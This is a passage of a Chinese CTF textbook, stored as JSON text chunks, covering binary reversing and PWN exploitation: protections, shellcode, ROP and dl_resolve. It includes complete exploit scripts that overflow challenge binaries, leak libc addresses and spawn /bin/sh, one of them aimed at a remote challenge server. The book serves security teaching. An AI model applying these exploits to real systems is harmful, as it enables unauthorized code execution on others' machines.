·通过注入进行DNS请求，从而达到可回显的目的。 2）不可回显的注入 ·Bool盲注。 ·时间盲注。 3）二次注入 通常作为一种业务逻辑较为复杂的题目出现，一般需要自己编写脚本以实现自动化注入。 SQL注入在CTF比赛中十分常见，涉及各种数据库。一般的CTF比赛中，出题人都会变相地增加一层WAF（比如，对关键字进行过滤等），然后只留下一个思路的解题路径，这时候我们需要快速找到并绕过这个点，然后得到flag。"},
    {"text": "未知 10.4.2 Python程序逆向 Python程序是Python源代码（.py文件）经过编译生成的对应的字节码文件（.pyc文件），再通过Python打包工具，转化为EXE或者ELF格式的可执行程序。最常见的Python打包工具包括py2exe（ http://www.py2exe.org/ ）和pyInstaller（ http://www.pyinstaller.org/ ）。 1.Python程序的识别 通过IDA Pro打开要分析的程序，查看程序中的字符串，如果看到有PY2EXE_VERBOSE和较多以Py开头的字符串，如图10-51所示，那么基本就可以确定这个程序是用py2exe进行打包的。 图10-51 py2exe打包程序的识别 使用pyInstaller打包的程序中依然存在较多以Py开头的字符串，如图10-52所示。 图10-52 pyInstaller打包程序的识别 2.字节码文件的提取 对于py2exe打包的程序，提取脚本（ https://github.com/matiasb/unpy2exe ）可以得到pyc文件，如图10-53所示。 图10-53 py2exe打包程序的提取 对于pyInstaller打包的程序，提取脚本（ https://github.com/Ravensss/pyinstxtractor ）可以得到pyc文件，如图10-54所示。 图10-54 pyinstaller打包程序的提取 生成的字节码文件（.pyc文件）的前8字节通常为03 f30d 0a 76 ed db 57，如图10-55所示。 图10-55 pyc文件的文件头 但有时pyinstxtractor.py提取出来的字节码文件缺少最开始的8字节，如图10-56所示，此时需要手动在文件开始处增加缺失的那8字节。 图10-56 缺少文件头的pyc文件 3.字节码文件的反编译 在得到Python字节码文件之后，还需要通过反编译得到Python源代码。这里推荐使用反编译工具uncompyle2（ https://github.com/wibiti/uncompyle2 ）。使用“python setup.py install”命令安装之后的uncompyle2位于C:\\python27\\Scripts\\uncompyle2处。 通过命令“python C:\\Python27\\Scripts\\uncompyle2 aaa.py.pyc>aaa.py”即可得到Python源码，之后主要就是通过阅读Python源码来分析程序的功能。 未知 10.4.3 Java程序逆向 Java程序打包成的EXE在CTF中出现的次数不多，一个常用的打包工具为exe4j。 1.Java程序的识别 如果在没有提前安装好JDK或JRE环境的系统中运行EXE，将会直接报错，报错信息如图10-57所示。 图10-57 没安装好JDK或JRE环境时运行的报错信息 用IDA Pro直接打开EXE，查看字符串，能够看到很多带java的字符串，如图10-58所示。 图10-58 使用IDA识别java打包的程序 2.Jar包的提取 exe4j打包的程序在运行时，会将Jar写入系统的临时目录中，所以可以直接从临时目录中获得Jar包。 运行exe4j打包后的程序trustme.exe，让程序停留在等待输入阶段，进程不退出，如图10-59所示。 图10-59 运行trustme程序 通过工具everything搜索trustme.jar，可以直接在系统的临时目录中找到对应的Jar包，如图10-60所示。 图10-60 在系统临时目录下找到trustme.jar 3.Jar包的反编译 在得到Jar包之后，就可以通过反编译工具对Jar包进行反编译操作了。常见的反编译工具包括jad、jd-gui、Fernflower等。 未知 本篇小结 本篇介绍了CTF中逆向分析的主要方法，并结合实例进行了讲解，希望读者可以亲自尝试。在实验中可能会遇到各种各样的问题，读者需要通过不断思考来逐一解决并积累经验，提高自身的技术水平。最后希望学习逆向分析的朋友都能体会到逆向的魅力。 未知 第三篇 CTF之PWN “PWN”是一个黑客语法的俚语词，是指攻破设备或者系统，发音类似于“砰”。在CTF比赛中，PWN主要是指漏洞利用，也称为exploit。PWN题型的解题过程一般是寻找程序中存在的漏洞，并利用该漏洞达到一定的效果，如拿到shell、获取flag等。通常，该题型分值占总分值的三分之一到五分之一不等。 PWN题型的出题思路大多源于实践，一般是将出现过或者可能会出现漏洞的情况进行简化，形成小规模便于分析的程序，考察解题人挖掘和利用漏洞的能力。解答PWN题型的基本能力包括：程序逆向能力、漏洞查找能力、利用代码编写能力等。熟能生巧，做得多了，这些方面的能力便会不断地提升。 ·程序逆向：PWN的先导能力是逆向，对程序进行逆向操作主要是便于分析人员看懂程序。很多情况下，PWN题型对逆向能力的要求并没有Reverse题型那么高，有时只要分析部分代码即可。 ·漏洞查找：分析程序主要是为了厘清程序内部的逻辑关系，以便于分析程序的脆弱性（即查找漏洞点）并构造出触发的条件，漏洞查找通常有一定的方法，懂得越多越有利于快速发现漏洞。 ·利用代码编写：利用代码主要是用来达到特定目的的功能代码，通常用脚本语言编写，掌握一定的利用代码编写的技巧对于利用成功帮助很大。"},
    {"text": "未知 第11章 PWN基础 11.1 基本工具 解答PWN题型最基本的工具可分为两类：逆向辅助类和漏洞利用类，下面将详细介绍这两类工具。 1.逆向辅助类（分析程序） IDA Pro：是一款很好用的反汇编工具，本书前面第9章介绍过，其中的反编译插件能够在很多情况下将代码还原到接近源码的水平。IDA的操作较为复杂，可以参考查阅工具书《IDA Pro权威指南》。 gdb：是一个功能强大的程序调试工具，是动态调试的必备利器，在第9章中也有介绍。另外，gdb包含了一个非常好的插件peda，在可视化和功能上都进行了拓展，方便使用者调试程序，下载地址： https://github.com/longld/peda 。不过原版的peda并不支持Python3，后来有人对peda进行了扩展，使其能够兼容Python3，下载地址： https://github.com/zachriggle/peda 。同类型的插件还有pwngdb、GEF（GDB Enhanced Feature），等等。近两年来用得比较多的，可以很方便地查看堆中各链表的状态，有利于分析堆的布局的工具，均可以在GitHub上搜索到。 2.漏洞利用类（编写利用） 1）pwntools：一个CTF框架和漏洞利用开发库，由rapid设计，模块很丰富，方便使用者快速开发exploit，下载地址： https://github.com/Gallopsled/pwntools 。 2）zio：蓝莲花队员zTrix开发，使用起来简单便利，下载地址： https://github.com/zTrix/zio 。 3）Ropgadget：找寻程序中用来组装rop链的gadget，支持多种架构，下载地址： https://github.com/JonathanSalwan/ROPgadget 。 4）checksec：查询程序的保护机制的开启情况（这个已经内嵌在peda里面了）。 5）one_gadget：分析定位libc中获取shell的magic地址，在满足特定条件的情况下，只需要一个地址即可获取shell，由david942j开发，在GitHub上可以下载到。 6）seccomp-tools：分析程序中的seccomp安全机制开启的具体情况，由david942j开发，在GitHub上可以下载到。 …… 未知 11.2 保护机制 程序的保护机制具体包括如下内容。 1）NX：数据执行保护，即DEP（Data Execution Prevention），是指禁止程序在非可执行的内存区（non-executable memory）中执行指令。在80x86体系结构中，操作系统的内存管理是通过页面表（page table）存储方式来实现的，其最后一位就是NX位，0表示允许执行代码，1表示禁止执行代码。一般来说，NX主要是防止直接在栈（stack）和堆（heap）上运行shellcode代码。gcc默认开启不可执行栈功能，添加编译选项-z execstack即可开启栈可执行功能。 2）ASLR：地址空间随机化，/proc/sys/kernel/randomize_va_space里的值可以控制系统级的ASLR，使用root权限可以进行修改，有三个值可以设置，具体说明如下。 ·0：关闭ASLR。 ·1：mmap base、stack、vdso page将随机化。这意味着“.so”文件将被加载到随机地址。链接时指定了-pie选项的可执行程序，其代码段加载地址将被随机化。配置内核时如果指定了CONFIG_COMPAT_BRK，则randomize_va_space默认为1，此时heap没有随机化。 ·2：在1的基础上增加了heap随机化。配置内核时如果禁用CONFIG_COMPAT_BRK，则randomize_va_space默认为2。ASLR可以保证在每次程序加载的时候自身和所加载的库文件都会被映射到虚拟地址空间的不同地址处。 3）PIE：代码段随机化，具体见ASLR。 4）RELRO：重定位，一般会分为两种情况，即partial relro和full relro，具体区别就是前者重定位信息（如got表）可写，而后者不可写。 5）STACK CANARY：栈溢出保护，gcc编译程序默认开启，添加编译选项-fno-stack-protector会关闭程序的stack canary栈保护。 未知 11.3 PWN类型 一般来说，PWN题型中的漏洞类型主要可分为栈漏洞、堆漏洞、格式化字符串漏洞、整型漏洞、逻辑漏洞等。可能有些漏洞类型的归类不太严谨，这里只是为了方便叙述进行了统一。很多时候，这些漏洞类型需要相互结合，构造出复杂条件（在CTF中，要看出题者的构造；在实际情况中，则要看程序的具体环境）。同样这些漏洞类型的利用也可以相互转化，以便写出更好、更快的利用脚本（需要看解题者的思路） 就难易程度来说，通常情况下，栈漏洞、格式化字符串漏洞、整型漏洞的难度要低于堆漏洞、逻辑漏洞。就考查点来说，栈漏洞、堆漏洞、格式化字符串漏洞、整型漏洞偏重于基本功，逻辑漏洞则偏重于思维能力。"},
    {"text": "未知 11.4 常见利用方法 1.shellcode 一般是指获取shell的代码（也有功能复杂的，专门突破某些限制的情况），针对数据区未开启可执行保护NX，可以将shellcode直接布置在堆栈等可写可执行区域，然后劫持控制流，跳转过去即可。 另外，还可以通过其他手段（如rop）将数据区的NX关闭（mprotect设置页属性），或者将代码部分的页属性设置为可写，并在这里布置shellcode，然后执行shellcode。"},
    {"text": "Linux x86下获取shell的shellcode，如图11-1所示。 Linux x64下获取shell的shellcode，如图11-2所示。 图11-1 Linux x86 shellcode示例 图11-2 Linux x64 shellcode示例 shellcode的获取途径有很多，可以直接调用pwntools里面的shellcraft模块来生成，如图11-3所示。 图11-3 shellcode生成方法 更多的shellcode可以去网上查询（ http://shell-storm.org/shellcode/ ），另外，pwntools也提供了shellcraft模块，集成了针对大多数平台的shellcode。"},
    {"text": "2.rop rop（return-oriented programming）即返回地址导向编程，通常是利用动态链接库和可执行文件中可利用的指令片段（gadget），这些指令片段均以ret指令结尾，即用ret指令实现指令片段执行流的衔接。"},
    {"text": "一般针对程序开启了NX属性，但可以控制栈上数据的情况，利用栈结构（可参考第12章中的栈结构介绍）中的返回地址，可以实现控制流的构造。"},
    {"text": "图11-5 x64架构rop示意图 图11-6 x86架构rop示意图 其中，func_ptr是一些要调用的函数的地址，而arg1、arg2……则是该函数所需要的参数，p_ret是一些pop ret的gadget地址，gadget的形式如pop eax、pop ebx、ret。"},
    {"text": "3.Magic_Addr Magic_Addr（又称One_gadget）是指专门通过一个地址获取shell的地址，一般位于system函数的实现代码中（可以参考david942j的one_gadget，GitHub上已经发布了查找one_gadget的工具），此时需要根据具体情况进行调试。"},
    {"text": "图11-7 system调用反编译代码 图11-8 system调用反汇编代码 关于定位，可使用one-gadget工具进行分析，也可以参考更为详细的资料，如{HCTF-2016}5-days的官方writeup。"},
    {"text": "_dl_runtime_resolve函数定义在glibc源码的sysdeps/i386/dl-trampoline.S中，其中调用了_dl_fixup； _dl_fixup函数定义在elf/dl-runtime.c中，其代码中使用了各种宏，因此可读性较差，如图11-9所示。 图11-9 _dl_fixup函数定义 该利用方法需要用到elf结构的动态节信息，如SYMTAB、STRTAB、JMPREL、VERSYM，可通过readelf–d./proc命令查看这几个信息，如图11-10所示。"},
    {"text": "图11-10 elf文件动态节信息 （1）SYMTAB SYMTAB中为ElfSym的数组，代码如下： class ElfSym(vstruct.VStruct): def __init__(self, bits=32): super(ElfSym, self).__init__() if bits == 32: self.st_name = v_uint32() self.st_value = v_uint32() self.st_size = v_uint32() self.st_info = ElfStInfo() # 8 bit self.st_other = v_uint8() self.st_shndx = v_uint16(enum=ST_NDX) else: self.st_name = v_uint32() self.st_info = ElfStInfo() # 8 bit self.st_other = v_uint8() self.st_shndx = v_uint16(enum=ST_NDX) self.st_value = v_uint64() self.st_size = v_uint64() （2）JMPREL 对应的类型可分为两种，32位通常为ElfRel类型的数组，64位通常为ElfRela类型的数组，代码如下： class ElfRel(vstruct.VStruct): def __init__(self, bits=32): super(ElfRel, self).__init__() if bits == 32: self.r_offset = v_uint32() self.r_info = ElfRInfo() # 32 bit else: self.r_offset = v_uint64() self.r_info = ElfRInfo() # 64 bit class ElfRela(vstruct.VStruct): def __init__(self, bits=32): super(ElfRela, self).__init__() if bits == 32: self.r_offset = v_uint32() self.r_info = ElfRInfo() # 32 bit self.r_append = v_uint32() else: self.r_offset = v_uint64() self.r_info = ElfRInfo() # 64 bit self.r_append = v_uint64() （3）STRTAB STRTAB中为具体的字符串。"},
    {"text": "_dl_fixup的伪代码（64位下的）具体如下： def dl_fixup(link_map, index): relro = jmprel+0x18*index r_sym=l32(relro[12:16]) sym = symtab+0x18*r_sym assert(l8(relro[4:8]) == 7)//TYPE if(l8(sym[5:6])&3 == 0) { //about vernum if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)// link_map+0x1c8 { const ElfW(Half) *vernum = (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]); ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff; } _dl_lookup_symbol_x(strtab+l32(sym[0:4])) } 当能控制程序向bss区域写任意内容时，通过index值，可以将伪造的relro结构放到bss上。"},
    {"text": "为了到达符号解析处，还需要满足： (l8(relro[4:8])==7) (l8(sym[5:6])&3 == 0) 最后，程序要获取对应符号的vernum，大致为读取内存versym+2*r_sym的值。"},
    {"text": "roputils（在GitHub上可以下载）中已经封装了对dl_resolve方法的利用模块（ROP），主要涉及如下两个函数： dl_resolve_call(self, base, *args) dl_resolve_data(self, base, name) 其中，将要解析的libc函数名称name以及伪造的结构体位置base传给dl_resolve_data函数，将生成的数据写入base处，再调用dl_resolve_call函数即可，其参数是伪造的结构体位置base和libc函数参数。"},
    {"text": "通过栈转移后在bss上执行rop，以下Payload存在于bss的target_addr上，当前rsp即为target_addr，以下代码即可用于执行system(\"/bin/sh\")： payload = \"\" payload += rop.dl_resolve_call(target_addr + 0x30, target_addr + 0x20) payload = payload.ljust(0x20, '\\x00') payload += rop.string(\"/bin/sh\\x00\").ljust(0x10, 'a') payload += rop.dl_resolve_data(target_addr + 0x30, 'system') 具体请参见真题解析11.6。"},
    {"text": "未知 11.5 程序内存布局 程序启动时，加载器会将程序文件数据加载到内存里，在运行过程中，程序也会开辟部分动态内存。在程序运行的生命周期中，内存中比较重要的四部分数据是程序数据、堆、库数据、栈。另外，内核空间也会映射到程序内存中，但是CTF中很少会涉及，为了简化，这部分不再叙述，读者掌握了最基本的PWN知识后，可以自行扩展。 程序数据一般映射在内存的较低地址处，然后依次为堆块数据、库数据及栈等，其中还映射了一部分起保护作用的不可访问区域,布局图如图11-11所示。 图11-11 程序内存布局 程序内存布局中的各部分的主要内容说明如下。 ·程序数据（Proc） 程序数据主要包含三部分，其中代码段（Text段）主要用来存放可执行文件的代码指令，是可执行程序在内存中的镜像，代码段一般是只读的；数据段（Data段）则用来存放可执行文件中已经初始化的变量，包括静态分配的变量和全局变量等；BSS段主要包含程序中未初始化的全局变量，在内存中BSS段全部置零。 ·堆（Heap） 堆主要用于存放进程运行过程中动态申请的内存段。进程调用malloc、alloca、new等函数来申请内存，利用free、delete等函数释放内存。这部分的大小不固定，以方便程序灵活使用内存。有关于堆的更多知识，请参考第13章。 ·库数据（Memory Mapping） 这部分数据很多是映射的系统库文件，其中比较重要的就是libc库，很多程序所使用的系统函数都会动态地链接到libc库中去。 ·栈（Stack） 栈存放程序临时创建的局部变量，包括函数内部的临时变量和调用函数时压入的参数。由于栈具有后进先出的特点，因此可以很方便地用来保存和恢复函数调用现场。关于栈的更多相关知识，请参照第12章。 x86程序的内存布局实例如图11-12所示。 x64程序的内存布局实例如图11-13所示。 图11-12 x86程序内存布局 图11-13 x64程序内存布局"},
    {"text": "使用dl_resolve解题的主要情景是找不到对应的libc.so文件（例如出题者使用自己编译的libc.so文件），因此即使能够泄露信息也无法计算出libc.so的基址。"},
    {"text": "图11-14 PWN200的反编译代码 从图11-14中可以看出，漏洞逻辑为buf的大小只有16字节，然而在read的时候却读了nbytes+1=17字节，所以最后一字节覆盖了其后的nbytes大小。"},
    {"text": "编写一段rop的shellcode，泄露read函数的地址，然后根据libc中read和system的相对偏移，计算出system的真实地址，然后修改strlen的got表，将其改成system的地址，最后进入main函数，传入参数为/bin/sh即可。"},
    {"text": "图11-15 PWN200利用构造 整个利用的exp代码如下： from zio import * from pwn import * #target = \"./pwn200\" target = (\"218.2.197.235\", 10101) def get_io(target): r_m = COLORED(RAW, \"green\") w_m = COLORED(RAW, \"blue\") io = zio(target, timeout = 9999, print_read = r_m, print_write = w_m) return io def pwn(io): io.gdb_hint() io.read_until(\"input name:\") name = \"syclover\\x00\".ljust(17, \"\\xff\") io.write(name) io.read_until(\"input slogan:\") p_ret = 0x080485c0 pp_ret = 0x080485bf ppp_ret = 0x08048646 read_got = 0x08049850 strlen_got = 0x08049858 read_plt = 0x08048360 write_plt = 0x080483A0 main_addr = 0x080484AC shellcode = \"\" shellcode += l32(write_plt) + l32(ppp_ret) + l32(1) + l32(read_got) + l32(4) shellcode += l32(read_plt) + l32(ppp_ret) + l32(0) + l32(strlen_got) + l32(4) shellcode += l32(main_addr) ebp = l32(0x01010101) payload = 'a' * 0x90 + l32(0x4) + 'a' * 8 + ebp + shellcode print len(payload) io.write(payload) io.read(5) data = io.read(4) print [c for c in data] read_addr = l32(data) print \"read_addr:\", hex(read_addr) libc_info = ELF(\"./libc.so.6\") libc_info = ELF(\"./libc_on_server.so.6\") offset_system = libc_info.symbols[\"system\"] offset_read = libc_info.symbols[\"read\"] #remote #offset_read = 0x000e0890 #offset_system = 0x00041260 print hex(offset_system) print hex(offset_read) libc_addr = read_addr - offset_read system_addr = libc_addr + offset_system io.write(l32(system_addr)) io.read_until(\"input name:\") io.write(\"/bin/sh;\") io.interact() io = get_io(target) pwn(io) 这道题目，最开始在sctf中是提供了libc的，所以可以直接这样求解，然而在xctf_oj中将该题目当成练习题后，提供的libc不配套，使用同样的方法时发现无法知道libc的信息，所以转而利用dl_resolve进行求解。"},
    {"text": "2）在未提供libc的情况下，解题思路为dl_resolve。 使用dl_resolve的时候，需要将伪造的reloc信息和符号信息全部填写到内存中去，然后调用plt0进行解析即可。"},
    {"text": "图11-17 触发shellcode的关键代码 对应的exp代码如下： #--*-- coding:utf8 --*-- __author__ = \"pxx\" from zio import * from pwn import * target = \"./pwn200\" target = (\"218.2.197.235\", 10101) #x86 #Elf32_Rel *reloc = JMPREL + index #Elf32_Sym *sym = &SYMTAB[((reloc->r_info)>>8)] #i.e. *sym = DT_SYMTAB + (reloc->r_info)*4*4 #assert (((reloc->r_info)&0xff) == 0x7 ) type #if (sym->st_other) & 3 == 0 ) if not resolved #uint16_t ndx = VERSYM[ (reloc->r_info) >> 8] ndx=0-> local symbol #r_found_version *version = &l->l_version[ndx] #name = STRTAB + sym->st_name def generate_x86_reloc_data(index, got_plt): return l32(got_plt) + l32(0x07 + (index<<8)) def generate_x86_sym_data(name_offset): return l32(name_offset) + l32(0) + l32(0) + l32(0x12) DT_JMPREL = 0x80482f8 #offset, info DT_STRTAB = 0x8048260 #strings array DT_SYMTAB = 0x80481e0 #st_name, ...st_info, s_other DT_VERSYM = 0x80482c0 PLT0 = 0x08048350 bss_addr = 0x08049870 #x86 system_got = 0x08049a10 #reloc_index #0x08049870 = 0x80482f8 + 0x1578 reloc_index = 0x1578 #set jmprel + index where index is reloc_index #0x080498a0 = 0x80481e0 + 0x16c * 16 not useful #0x080499c0 = 0x80481e0 + 0x17e * 16 reloc_data_addr = 0x08049870 reloc_data = generate_x86_reloc_data(0x17e, system_got) #write reloc_data in 0x08049870 #0x080499e0 = 0x8048260 + 0x1780 sym_data_addr = 0x080499c0 sym_data = generate_x86_sym_data(0x1780) #write sym_data in 0x080499c0 func_name_addr = 0x080499e0 #func_name_addr = 0x08049870 + 0x120 = 0x080499c0 func_name = \"system\\x00\" #write system in func_name_addr #bin_str_addr = bss_addr + 0x140 bin_str_addr = 0x080499f0 bin_str = \"/bin/sh;\\x00\" #write system in bin_str_addr def get_io(target): r_m = COLORED(RAW, \"green\") w_m = COLORED(RAW, \"blue\") io = zio(target, timeout = 9999, print_read = r_m, print_write = w_m) return io def pwn(io): io.gdb_hint() io.read_until(\"input name:\") name = \"syclover\\x00\".ljust(17, \"\\xff\") io.write(name) io.read_until(\"input slogan:\") p_ret = 0x080485c0 pp_ret = 0x080485bf ppp_ret = 0x08048646 read_got = 0x08049850 strlen_got = 0x08049858 read_plt = 0x08048360 write_plt = 0x080483A0 main_addr = 0x080484AC shellcode = \"\" shellcode += l32(read_plt) + l32(ppp_ret) + l32(0) + l32(reloc_data_addr) + l32(len(reloc_data)) shellcode += l32(read_plt) + l32(ppp_ret) + l32(0) + l32(sym_data_addr) + l32(len(sym_data)) shellcode += l32(read_plt) + l32(ppp_ret) + l32(0) + l32(func_name_addr) + l32(len(func_name)) shellcode += l32(read_plt) + l32(ppp_ret) + l32(0) + l32(bin_str_addr) + l32(len(bin_str)) shellcode += l32(main_addr) ebp = l32(0x01010101) payload = 'a' * 0x90 + l32(0x4) + 'a' * 8 + ebp + shellcode print len(payload) io.write(payload) io.write(reloc_data) io.write(sym_data) io.write(func_name) io.write(bin_str) #next time io.read_until(\"input name:\") name = \"syclover\\x00\".ljust(17, \"\\xff\") io.write(name) io.read_until(\"input slogan:\") shellcode = \"\" shellcode += l32(PLT0) + l32(reloc_index) + l32(main_addr) + l32(bin_str_addr) payload = 'a' * 0x90 + l32(0x4) + 'a' * 8 + ebp + shellcode print len(payload) io.write(payload) io.interact() io = get_io(target) pwn(io) 2.x64的情况（2015-hitcon-PWN400之readable） 该题的逻辑如图11-18所示。"},
    {"text": "图11-18 PWN400的反编译代码 该题的漏洞一目了然，buf只有16字节，然而可以读取32字节，覆盖rbp和rip，通过覆盖rbp可以转移栈，通过覆盖rip可以将其改成main函数的入口，从而对漏洞实现多次利用，达到任意地址写的目的。"},
    {"text": "解题方法一 爆破获取read函数中调用system_call的偏移，将eax修改成0x3b，然后将/bin/sh压入栈，并将rdi指向它，同时将rsi和rdx分别设置为0，相当于调用了execvl(\"/bin/sh\",0,0)，从而实现shell的获取（ppp当时采用的就是这种方法）。"},
    {"text": "由于read的真实实现类似于： mov eax， 0x0； read的系统调用号 …… call system_call …… 同理，write的实现如下： mov eax， 0x1； write的系统调用号 …… call system_call …… execvl的实现如下： mov eax， 0x3b； execvl的系统调用号 …… call system_call …… 因此，如果知道了调用system_call距离read函数的偏移，那么直接将read的got表的最后一位修改成其他的系统调用号，就可以执行其他的函数功能了。"},
    {"text": "图11-19 rop利用代码 判断逻辑，只将一个偏移dis（爆破，依次累加尝试）写入，然后判断读取的信息是否正确，如图11-20所示。 图11-20 爆破的判断逻辑 得到正确的偏移之后，就可以直接利用了，exp代码如下： __author__ = \"pxx\" from zio import * target = \"./readable\" def get_io(target): r_m = COLORED(RAW, \"green\") w_m = COLORED(RAW, \"blue\") io = zio(target, timeout = 9999, print_read = r_m, print_write = w_m) return io def brute_syscall_addr(io, dis): bss_addr = 0x600910 buff_addr = bss_addr + 0x20 main_addr = 0x400505 head_addr = 0x0000000000400000 p_rdi_ret = 0x0000000000400593 pp_rsi_r15_ret = 0x0000000000400591 set_args_addr = 0x40058A call_func_addr = 0x400570 read_got = 0x00000000006008e8 leave_ret = 0x400520 rop = \"\" rop += l64(set_args_addr) #rbx, rbp, r12, r13, r14, r15 rop += l64(0x0) + l64(0x01) + l64(read_got) + l64(0x01) + l64(read_got) + l64(0x0) rop += l64(call_func_addr) rop += 'a' * 8 #rbx, rbp, r12, r13, r14, r15 rop += l64(0x0) + l64(0x01) + l64(read_got) + l64(0x04) + l64(head_addr) + l64(0x1) rop += l64(call_func_addr) length = len(rop) if length % 16 != 0: length += 16 - length % 16 payload = rop.ljust(length, '\\x90') #print length, length / 16 #io.gdb_hint() for i in range(0, length, 16): io.write('0' * 0x10 + l64(buff_addr + 0x10 + i) + l64(main_addr)) io.write(payload[i:i+16] + l64(bss_addr + 0x10) + l64(main_addr)) io.write('0'*0x10 + l64(buff_addr - 0x8) + l64(leave_ret)) io.write(chr(dis)) data = io.read(4) #data = io.read(4) print [c for c in data] if data == \"\\x7fELF\": print \"find it\", \":\", hex(dis) raw_input() def get_syscall_dis(): dis = 0 for dis in range(0, 0x100): try: print dis io = get_io(target) brute_syscall_addr(io, dis) except Exception, e: raise else: pass finally: pass def pwn(io, dis): bss_addr = 0x600910 buff_addr = bss_addr + 0x20 main_addr = 0x400505 head_addr = 0x0000000000400000 p_rdi_ret = 0x0000000000400593 pp_rsi_r15_ret = 0x0000000000400591 set_args_addr = 0x40058A call_func_addr = 0x400570 read_got = 0x00000000006008e8 leave_ret = 0x400520 rop = \"\" rop += l64(set_args_addr) #rbx, rbp, r12, r13, r14, r15 rop += l64(0x0) + l64(0x01) + l64(read_got) + l64(0x3b) + l64(read_got - 0x3b + 1) + l64(0x0) rop += l64(call_func_addr) rop += 'a' * 8 #rbx, rbp, r12, r13, r14, r15 rop += l64(0x0) + l64(0x01) + l64(read_got) + l64(0x0) + l64(0x0) + l64(bss_addr) rop += l64(call_func_addr) length = len(rop) if length % 16 != 0: length += 16 - length % 16 payload = rop.ljust(length, '\\x90') #print length, length / 16 io.gdb_hint() for i in range(0, length, 16): io.write('0' * 0x10 + l64(buff_addr + 0x10 + i) + l64(main_addr)) io.write(payload[i:i+16] + l64(bss_addr + 0x10) + l64(main_addr)) padding = \"/bin/sh\".ljust(0x10, '\\x00') io.write(padding + l64(buff_addr - 0x8) + l64(leave_ret)) io.write('0' *(0x3b - 1) + chr(dis)) io.interact() io = get_io(target) dis = 0x3e pwn(io, dis) 解题方法二 使用dl_resolve进行求解。"},
    {"text": "使用dl_resolve方法来求解的时候，相对来说就较为简单，通过漏洞的多次利用，将需要的伪造信息填入到内存中去，如图11-21所示。 图11-21 布局dl_resolve的结构 计算出各自的偏移，然后通过一个rop直接调用plt0进行解析即可，如图11-22所示。 图11-22 通过rop触发dl_resolve 对应的exp代码如下： #--*-- coding:utf8 --*-- from zio import * target = \"./readable\" def get_io(target): r_m = COLORED(RAW, \"green\") w_m = COLORED(RAW, \"blue\") io = zio(target, timeout = 9999, print_read = r_m, print_write = w_m) return io DT_JMPREL = 0x400360 #offset, info DT_STRTAB = 0x4002e0 #strings array DT_SYMTAB = 0x400280 #st_name, ...st_info, s_other DT_VERSYM = 0x40031e PLT0 = 0x00000000004003d0 #x64 #Elf64_Rel *reloc = JMPREL + index*3*8 #Elf64_Sym *sym = &SYMTAB[((reloc->r_info)>>0x20)] #i.e. *sym = DT_SYMTAB + (reloc->r_info)*3*8 #assert (((reloc->r_info)&0xff) == 0x7 ) type #=> if (sym->st_other) & 3 == 0 ) if not resolved #uint16_t ndx = VERSYM[ (reloc->r_info) >> 0x20] #r_found_version *version = &l->l_version[ndx] #name = STRTAB + sym->st_name #modify ret val <== plt0+6 and the first arg = index and rdi=addr(/bin/sh) #modify (jmprel + 0x18*index) <== fake_relro #modify (symtab + 0x18*r_sym) <== fake_sym #modify (strtab + st_name) <== 'system' #modify (link_map+01c8 == 0) or (versym+index*2 可被访问) # 第2点在64位系统中很难满足，第1点需要泄露lin_map的值。 def generate_x64_reloc_data(index, got_plt): return l64(got_plt) + l64(0x07 + (index<<0x20)) + l64(0) def generate_x64_sym_data(name_offset): return l32(name_offset) + l32(0x12) + l64(0) + l64(0) def write_data_to(address, data): main_addr = 0x400505 bss_addr = 0x600910 length = len(data) if length % 16 != 0: length += 16 - length % 16 payload = data.ljust(length, '\\x90') #io.gdb_hint() for i in range(0, length, 16): io.write('0' * 0x10 + l64(address + 0x10 + i) + l64(main_addr)) io.write(payload[i:i+16] + l64(bss_addr + 0x10) + l64(main_addr)) def pwn(io): bss_addr = 0x600910 buff_addr = bss_addr + 0x20 buff_addr = 0x600910 + 0x30 buff_addr = 0x600940 system_got_plt = 0x600930 #0x600940 = 0x400360 + 0x15594 * 3 * 8 index = 0x15594 #0x600a10 = 0x400280 + 0x155a6 * 3 * 8 reloc_data = generate_x64_reloc_data(0x155a6, system_got_plt) #write reloc_data in 0x600940 #0x600a80 = 0x4002e0 + 0x2007a0 sym_data = generate_x64_sym_data(0x2007a0) #write sym_data in 0x600a10 func_name = \"system\\x00\" #write system in 0x600a80 main_addr = 0x400505 pop_rbp_ret = 0x0000000000400455 p_rdi_ret = 0x0000000000400593 pp_rsi_r15_ret = 0x0000000000400591 leave_ret = 0x400520 #modify versym dynamic addr 0x40031e - index * 2 = 0x3d57d6 write_data_to(0x600858, l64(0x6ffffff0)+l64(0x3d57d6)) write_data_to(0x600940, reloc_data) write_data_to(0x600a10, sym_data) #io.gdb_hint() write_data_to(0x600a80, func_name) write_data_to(0x600aa0, \"/bin/sh;\\x00\") rop = \"\" rop += l64(p_rdi_ret) + l64(0x600aa0) #/bin/sh rop += l64(PLT0) rop += l64(index) write_data_to(0x6009b0, rop) io.gdb_hint() io.write('0'*0x10 + l64(0x6009b0 - 0x08) + l64(leave_ret)) io.interact() io = get_io(target) pwn(io) 3.逻辑较为复杂的情况，x86（2015-rctf-PWN400之shaxian） 该题的逻辑较为复杂，是个菜单式的命令模式。"},
    {"text": "漏洞位置在进入diancai这个命令菜单时，申请了40字节的空间，但是对其中一部分结构读取的时候却可以读取60字节，从而覆盖了后面的堆块，造成堆溢出，如图11-23所示。"},
    {"text": "泄露信息的部分较为简单，因为结构体中自带了next指针，这个地方是可以覆盖的，所以直接覆盖后，在打印信息的时候就可以直接泄露相关的got表信息。"},
    {"text": "图11-25 泄露信息的漏洞点 地址写的逻辑主要是通过fastbin来修改head指针，在head_ptr_804B1C0处伪造一个假的堆块fake_chunk，修改next指针指向该fake_chunk，然后通过free成功释放掉该fake_chunk。"},
    {"text": "这里必须通过某种方法对其进行泄露，由于这里是堆中，修改的信息十分有限，不像栈那样简单，因此该题同样采用两种方法来求解，具体如下。"},
